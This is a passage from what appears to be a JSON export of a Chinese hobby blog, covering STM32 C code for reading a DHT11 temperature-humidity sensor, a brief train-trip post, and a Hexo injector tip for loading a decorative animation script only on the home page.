number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//DHT11拉低后会再次拉高40~80us\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026gt;=\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"DHT11-发送数据\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%81%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"DHT11 发送数据\"\u003e\u003c/a\u003eDHT11 发送数据\u003c/h5\u003e\u003cp\u003e总线为低电平,说明DHT11发送响应信号,DHT11发送响应信号后,再把总线拉高80us,准备发送数据。\u003c/p\u003e\u003cp\u003e每一bit数据都以50us低电平时隙 \u003cstrong\u003e开始\u003c/strong\u003e ,\u003cstrong\u003e高电平的长短\u003c/strong\u003e 定了数据位是0还是1。\u003c/p\u003e\u003cp\u003e如果读取响应信号为高电平,则DHT11没有响应,请检查线路是否连接正常。当最后一bit数据传送完毕后,DHT11拉低总线50us,随后总线由上拉电阻拉高进入空闲状态。\u003c/p\u003e\u003ch5 id=\"DHT11-发送-0\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%81-0\" class=\"headerlink\" title=\"DHT11 发送 0\"\u003e\u003c/a\u003eDHT11 发送 0\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是26-28us就表示0。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-4.png\" alt=\"DHT11 发送0\"/\u003e\u003c/p\u003e\u003ch5 id=\"DHT11-发送1\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#DHT11-%E5%8F%91%E9%80%811\" class=\"headerlink\" title=\"DHT11 发送1\"\u003e\u003c/a\u003eDHT11 发送1\u003c/h5\u003e\u003cp\u003e\u003cstrong\u003e高电平是70us表示1。\u003c/strong\u003e\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/DHT11/DHT11-5.png\" alt=\"DHT11 发送0\"/\u003e\u003c/p\u003e\u003ch5 id=\"接收数据\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E6%8E%A5%E6%94%B6%E6%95%B0%E6%8D%AE\" class=\"headerlink\" title=\"接收数据\"\u003e\u003c/a\u003e接收数据\u003c/h5\u003e\u003cp\u003e主机只要读取等待50us低电平过去,然后再判断高电平长短就能收集数据了。\u003c/p\u003e\u003cp\u003e从DHT11读取一个位:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:1/0\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e retry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变为低电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e100\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待变高电平\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003eretry\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e40\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//等待40us\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eHAL_GPIO_ReadPin\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eGPIOA\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e DHT11_DQ_OUT\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e读取8次为一个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//返回值:读到的数据\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003edat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e dat \u003cspan class=\"token operator\"\u003e|\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Bit\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e dat\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e一共5个字节:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//temp:温度值(范围:0~50°)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//humi:湿度值(范围:20%~90%)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//返回值:0,正常;1,读取失败\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003eDHT11_Read_Data\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e buf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Rst\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Check\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e++\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//读取40位数据\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token function\"\u003eDHT11_Read_Byte\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token operator\"\u003e+\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e3\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e==\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e4\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e{\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003ehumi\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e*\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003ebuf\u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e}\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e)不过为了显示的更精确可以小数位也传过去。\u003c/p\u003e\u003ch3 id=\"完成\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/e0ca/#%E5%AE%8C%E6%88%90\" class=\"headerlink\" title=\"完成\"\u003e\u003c/a\u003e完成\u003c/h3\u003e\u003cp\u003e到此,完成了串口通信,OLED屏幕驱动,温湿度数据的获取。之后在OLED屏幕上的显示布局可以自己设计~ \u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/e0ca/"},{"title":"6063/6064 公益慢火车运转","time":"2023-04-05T15:19:17Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"6063-x2F-6064-公益慢火车运转\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/54cd/#6063-x2F-6064-%E5%85%AC%E7%9B%8A%E6%85%A2%E7%81%AB%E8%BD%A6%E8%BF%90%E8%BD%AC\" class=\"headerlink\" title=\"6063/6064 公益慢火车运转\"\u003e\u003c/a\u003e6063/6064 公益慢火车运转\u003c/h1\u003e\u003cblockquote\u003e\u003cp\u003e群山如森海,慢车即航船。\u003c/p\u003e\u003c/blockquote\u003e\u003cp\u003e这是2022年8月初的事情了,那会正值暑假,因为防控原因我在学校呆到7月底才回家,顺便去运转了一下这趟公益慢火车。当时运转时这趟车还是非空调车,现在已经更换车底,成为空调车了。刚好赶在换车底前完成了这一趟。全程下来,还是很有意思的。\u003c/p\u003e\u003cp\u003e\u003cdel\u003e不过人是个懒狗,拖到这会才想起来写。后面想起来再更新。\u003c/del\u003e\u003c/p\u003e\u003c/body\u003e\u003c/html\u003e","url":"https://blog.ksfu.top/posts/54cd/"},{"title":"Hexo 注入器实践","time":"2023-04-04T20:39:00Z","content":"\u003chtml\u003e\u003chead\u003e\u003c/head\u003e\u003cbody\u003e\u003ch1 id=\"Hexo-注入器实践\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5eba/#Hexo-%E6%B3%A8%E5%85%A5%E5%99%A8%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"Hexo 注入器实践\"\u003e\u003c/a\u003eHexo 注入器实践\u003c/h1\u003e\u003ch2 id=\"前言\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5eba/#%E5%89%8D%E8%A8%80\" class=\"headerlink\" title=\"前言\"\u003e\u003c/a\u003e前言\u003c/h2\u003e\u003cp\u003e我博客首页飘的那个樱花看着花里胡哨,但是非常占用资源……而且因为是直接引进来的 \u003ccode\u003ejs\u003c/code\u003e ,所以每个页面都有这玩意,但是毕竟花里胡哨,也就对性能问题睁一只眼闭一只眼,刚才翻别人博客突然发现了注入器这个神奇玩意,于是问题解决了:只在首页显示樱花飘落的动画。\u003c/p\u003e\u003ch3 id=\"参考博客\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5eba/#%E5%8F%82%E8%80%83%E5%8D%9A%E5%AE%A2\" class=\"headerlink\" title=\"参考博客\"\u003e\u003c/a\u003e参考博客\u003c/h3\u003e\u003cblockquote\u003e\u003cp\u003e\u003ca href=\"https://gishai.top/blog/posts/1563abd8.html\"\u003e基于hexo的fluid主题的魔改汇总 - GISHAI\u003c/a\u003e\u003c/p\u003e\u003cp\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/advance/#hexo-%E6%B3%A8%E5%85%A5%E4%BB%A3%E7%A0%81\"\u003e进阶用法 | Hexo Fluid 用户手册 (fluid-dev.com)\u003c/a\u003e\u003c/p\u003e\u003c/blockquote\u003e\u003ch2 id=\"具体实践\"\u003e\u003ca href=\"https://blog.ksfu.top/posts/5eba/#%E5%85%B7%E4%BD%93%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"具体实践\"\u003e\u003c/a\u003e具体实践\u003c/h2\u003e\u003cp\u003e在 \u003cstrong\u003e\u003ca href=\"https://hexo.fluid-dev.com/docs/\"\u003eHexo Fluid 用户手册\u003c/a\u003e\u003c/strong\u003e 中说的比较清楚了:注入器可以将 HTML 片段注入生成页面的 \u003ccode\u003e\u0026lt;head\u0026gt;\u003c/code\u003e 和 \u003ccode\u003e\u0026lt;body\u0026gt;\u003c/code\u003e 节点中,而且可以选择注入的页面类型(比如我首页的樱花我可以选择只注入首页)。\u003c/p\u003e\u003cp\u003e编写注入代码,需要在博客的根目录下创建 \u003ccode\u003escripts\u003c/code\u003e 文件夹,然后在里面任意命名创建一个 js 文件即可。\u003c/p\u003e\u003cp\u003e我创建了一个 \u003ccode\u003e/Hexo/scripts/yinghua.js\u003c/code\u003e 了一个文件,内容为:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-javascript\" data-language=\"javascript\"\u003e\u003ccode class=\"language-javascript\"\u003ehexo\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eextend\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003einjector\u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eregister\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;body_end\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;\u0026lt;script src=\u0026#34;//must.best/assets/js/flower.js\u0026#34;\u0026gt;\u0026lt;/script\u0026gt;\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token string\"\u003e\u0026#39;home\u0026#39;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e上述代码会在生成的页面 \u003ccode\u003e\u0026lt;/body\u0026gt;\u003c/code\u003e 注入加载 \u003ccode\u003e//must.best/assets/js/flower.js\u003c/code\u003e 